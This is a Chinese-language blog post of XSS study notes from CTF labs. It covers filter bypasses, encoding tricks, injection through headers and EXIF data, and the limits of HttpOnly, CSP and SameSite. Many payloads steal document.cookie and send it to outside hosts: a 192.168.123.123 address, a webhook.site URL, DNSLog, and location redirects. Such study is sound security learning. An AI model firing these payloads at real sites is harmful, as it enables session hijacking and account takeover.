XSS-学习笔记-1
在完成BUUCTF在线评测(XSS-Lab)时的笔记。
在完成ctf.show - WEB入门 - XSS时的笔记。
测试方法
- 基础测试:
<script>alert('xss')</script> - 探测过滤规则:
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j - 使用EXP分析过滤机制
基础XSS方法
- 闭合双引号情况:
"><script>alert('1')</script>
- ![[Pasted image 20250323111947.png|Pasted image 20250323111947.png]]
- Cookie窃取:
</h2><script>var i=new Image();i.src="http://192.168.123.123:8080/x?c="+encodeURIComponent(document.cookie);</script> - SVG 和 onload 事件:
- Cookie窃取:
1 | http://xxx.challenge.ctf.show/?msg=<svg onload="var i=new Image();i.src='https://webhook.site/78cda693-5792-473a-a0c7-4715829d7b0a/x?c='+encodeURIComponent(document.cookie);"> |
无法使用<>标签情况
- 采用onclick/onfocus触发事件
- 利用事件属性触发XSS:
' onclick ='javascript:alert(1)'//
- ![[Pasted image 20250323112825.png|Pasted image 20250323112825.png]]
- Cookie窃取(自动执行):
keyword=" autofocus onfocus="var i=new Image();i.src='http://192.168.123.123:8080/x?c='+document.cookie;" " - 自动focus触发,利用属性绕过限制
关键词被过滤的情况
当onclick和script被过滤
- 闭合标签并利用a标签引用script,创建link
- 发现:onlick -> o_click,同时script -> scr_ipt,无法弹窗
- 闭合后通过a标签引用script超链接完成,点击link即可弹窗
"><a href="javascript:alert("1")">link</a>
当空格被过滤
- 空格被过滤 使用 / 绕过
- 例如:
<svg/onload="location.href='https://webhook.site/xxxxxxxx/x?c='+document.cookie"/>
编码绕过检测
- HTML解析器会将HTML实体编码转换为对应的字符。因此我们采用HTML实体编码绕过转换为对应的字符。
- 例如我们有常见的”on”编码方式:
on(十进制编码)on(十六进制编码)
- 因此我们也很好得到混合编码方式,十六进制编码表示”o”和十进制编码表示”n”的组合方式。
属性拆分技术
- 可以在关键单词中插入字符或空格,但浏览器仍会正确解析。
- 换行符(%0A)插入”on”中间。
大小写混合与双重编码
- 浏览器的事件处理是不区分大小写的。双重编码则是对已编码的字符再次编码。
- “on”的”n”使用了大写字母的编码(4E而不是6e),同时将整个事件名与属性拆分开。
?keyword=" oNerror="var i=new Image();i.src='http://192.168.123.123:8080/x?c='+document.cookie;" src=x "
动态代码拼接
1 | http://192.168.1.1:8080/xss-labs-master/level4.php?keyword=" id=xss href="javascript:eval('var ev=\'o\'+\'n\'+\'click\';document.getElementById(\'xss\').setAttribute(ev,function(){var i=new Image();i.src=\'http://192.168.123.123:8080/x?c=\'+document.cookie;});document.getElementById(\'xss\').click()')" " |
关键词双写绕过
- script和on等函数被过滤,因此我们可以采用针对性的双写来进行绕过。
"><scscriptript>alert("1")</scscriptript>- ->
"><script>alert("1")</script>
href属性特性利用
- 观察传参位置
- href属性会自动解析Unicode编码
- 因此我们可以插入一段js伪协议,并通过Unicode编码
- 例如:
javascript:alert()->javascript:alert()补充:
JavaScript伪协议(javascript:)- 允许在URL位置直接执行JavaScript代码
- 不需要使用”on”事件处理器
- 可在多种属性中使用,如
href、src、action等 - 利用
javascript:location='http://192.168.123.123:8080/x?c='+document.cookie(界面跳转)实现cookies转发 - 不受 CORS 限制:与
fetch()或XMLHttpRequest不同,使用location进行重定向不受同源策略限制(因为导航操作本身允许跨域)
浏览器会自动将Unicode编码
- 如
\u0061\u006c\u0065\u0072\u0074转换为实际字符(这个例子中是”alert”)。利用这一特性,可以避免使用明文敏感词。 - Unicode转义序列:
\uXXXX(十六进制) - URL编码:
%XX(十六进制) - HTML实体:
&#xXX;或&#XX;
传参格式检查
特定字符串检查
- 如基于
strpos定位是否String中是否存在指定字符串,如果检查含有”http”,可以注释掉:javascript:alert()/* http:// */ - 例如我们可以有:
javascript:alert()/* http:// */
隐藏传参方式
- GET or POST 传参
- 其他隐藏的传参方法 可能存在(例如hidden的input)
- 根据源码猜解参数名,隐藏的input标签插入type=”text”显示
header传参
- 通过Referer/Cookie/User-Agent注入XSS
- 使用Burp或Hackbar修改请求头
EXIF XSS漏洞
- 在图片元数据中插入XSS代码,然后上传图片实现弹窗。
查找页面内含有flag的字段
1 | <script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1) |
HTML实体化编码
- HTML实体化(Entity Encoding)是指将特殊字符转换为HTML实体编码的过程。
- HTML实体是以
&开头,以;结尾的字符序列,用来在HTML代码中表示特殊字符。
实体化的两种主要编码方式
1. 命名实体
使用预定义的名称表示特定字符:
<表示<>表示>"表示"&表示&
2. 数字实体
使用字符的ASCII或Unicode值来表示:
- 十进制:
&#码值;
例如:<表示< - 十六进制:
&#x码值;
例如:<表示<
为什么实体化可以绕过XSS过滤?
解析时机差异:
- 服务器端过滤:过滤器检查原始字符串,寻找危险模式如
<script>或onload - 浏览器解析:浏览器接收到响应后,会先将HTML实体解码为原始字符,再解析执行
这个差异创造了绕过机会。例如,过滤器可能拦截onload,但不会拦截onload,而浏览器会将后者解析为onload。
HTML标签名:
<script>
属性名:<img onclick=alert(1)>
属性值:<img src="javascript:alert(1)">
DNSLog服务
- DNSLog利用DNS请求记录来接收数据,可以绕过防火墙和同源策略。
- 获取专属域名,如
abc123.DNSLOG.SERVICE,构造XSS payload。
1 | <script> |
Webhook服务
- Webhook服务提供临时URL接收并显示请求内容。
- 平台实时显示收到的请求,可查看完整请求头和参数。
- 访问平台获取唯一URL,如
https://webhook.SERVICE/abc123def456
构造XSS payload:
1 | <script> |
Burp Collaborator
- 等待更新
XSS防御机制与绕过
1. HttpOnly Cookie
原理
- 当服务器设置Cookie时添加
HttpOnly标志 - 这些Cookie只能通过HTTP/HTTPS协议传输
- 浏览器禁止JavaScript通过
document.cookie访问这些Cookie - 设置方式:
Set-Cookie: sessionid=abc123; HttpOnly
绕过可能性
- 直接绕过几乎不可能:HttpOnly是浏览器级别的强制实现
- 间接绕过方法:
- 会话固定攻击:如果应用程序在认证前已设置会话ID
- 中间人攻击:如果网站未使用HTTPS
- 利用其他漏洞:如CSRF攻击结合应用程序逻辑漏洞
- 利用服务器响应中的泄露:某些应用可能在响应中回显Cookie值
局限性
- 只保护Cookie,不防止其他类型的XSS攻击
- 不保护非Cookie的敏感数据(如localStorage内容)
2. 输入验证和转义
原理
- 输入验证:检查和过滤用户输入中的危险模式(如
<script>标签) - 输出转义:在显示用户输入前将特殊字符转换为HTML实体
- 如
<转换为<,"转换为"
- 如
- 上下文感知转义:根据数据使用位置采用不同转义策略
绕过技术
- 编码变异:使用各种编码(HTML实体、URL编码、Unicode)
1
<script>
- 大小写混淆:利用HTML解析不区分大小写
1
<sCRipT>alert(1)</scRIPt>
- 利用过滤器缺陷:
1
<scr<script>ipt>alert(1)</scr</script>ipt>
- 利用不同上下文:
1
2
3
4
5<!-- JavaScript上下文 -->
";alert(1);//
<!-- 属性上下文 -->
" onmouseover="alert(1) - 过滤器差异:过滤时的解析与浏览器解析不一致
3. 内容安全策略(CSP)
原理
- 通过HTTP头
Content-Security-Policy或<meta>标签定义 - 控制浏览器可加载和执行的资源来源
- 策略指令示例:
1
Content-Security-Policy: script-src 'self' https://trusted.com
- 可以禁用内联JavaScript和
eval()等危险功能
绕过技术
- 利用配置错误:如
unsafe-inline或宽松的源策略 - JSONP端点滥用:利用允许的域中的JSONP回调
- Angular等框架漏洞:部分框架可能有CSP绕过漏洞
- 基于DOM的攻击:CSP主要防御注入,对纯DOM型攻击防护较弱
- 通过允许的域:将payload托管在被CSP信任的域上
- 使用预加载脚本:如CDN上的jQuery漏洞
4. Cookie SameSite属性
原理
- 控制Cookie在跨站请求中的发送行为
- 三种可能值:
- Strict:仅同站点请求发送Cookie
- Lax(现代浏览器默认):同站点请求和部分跨站顶级导航发送Cookie
- None:所有请求都发送Cookie(需要配合Secure使用)
- 设置方式:
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure
绕过技术
- 对SameSite=Lax的绕过:
- 利用GET请求顶级导航(如
<link rel="prerender">,window.open(),<form method="get">)
- 利用GET请求顶级导航(如
- 浏览器实现不一致:旧版浏览器可能不支持SameSite
- 子域利用:同站定义包括子域,
evil.example.com和example.com被视为同站 - DNS错误配置:网站DNS配置错误可能被利用
- META标签重定向:某些重定向方式可能保留Cookie
- Title: XSS-学习笔记-1
- Author: KaldX
- Created at : 2025-03-25 20:00:00
- Updated at : 2025-03-25 20:00:00
- Link: https://blog.kaldx.com/2025/03/25/XSS-学习笔记-1/
- License: This work is licensed under CC BY-NC-SA 4.0.
Comments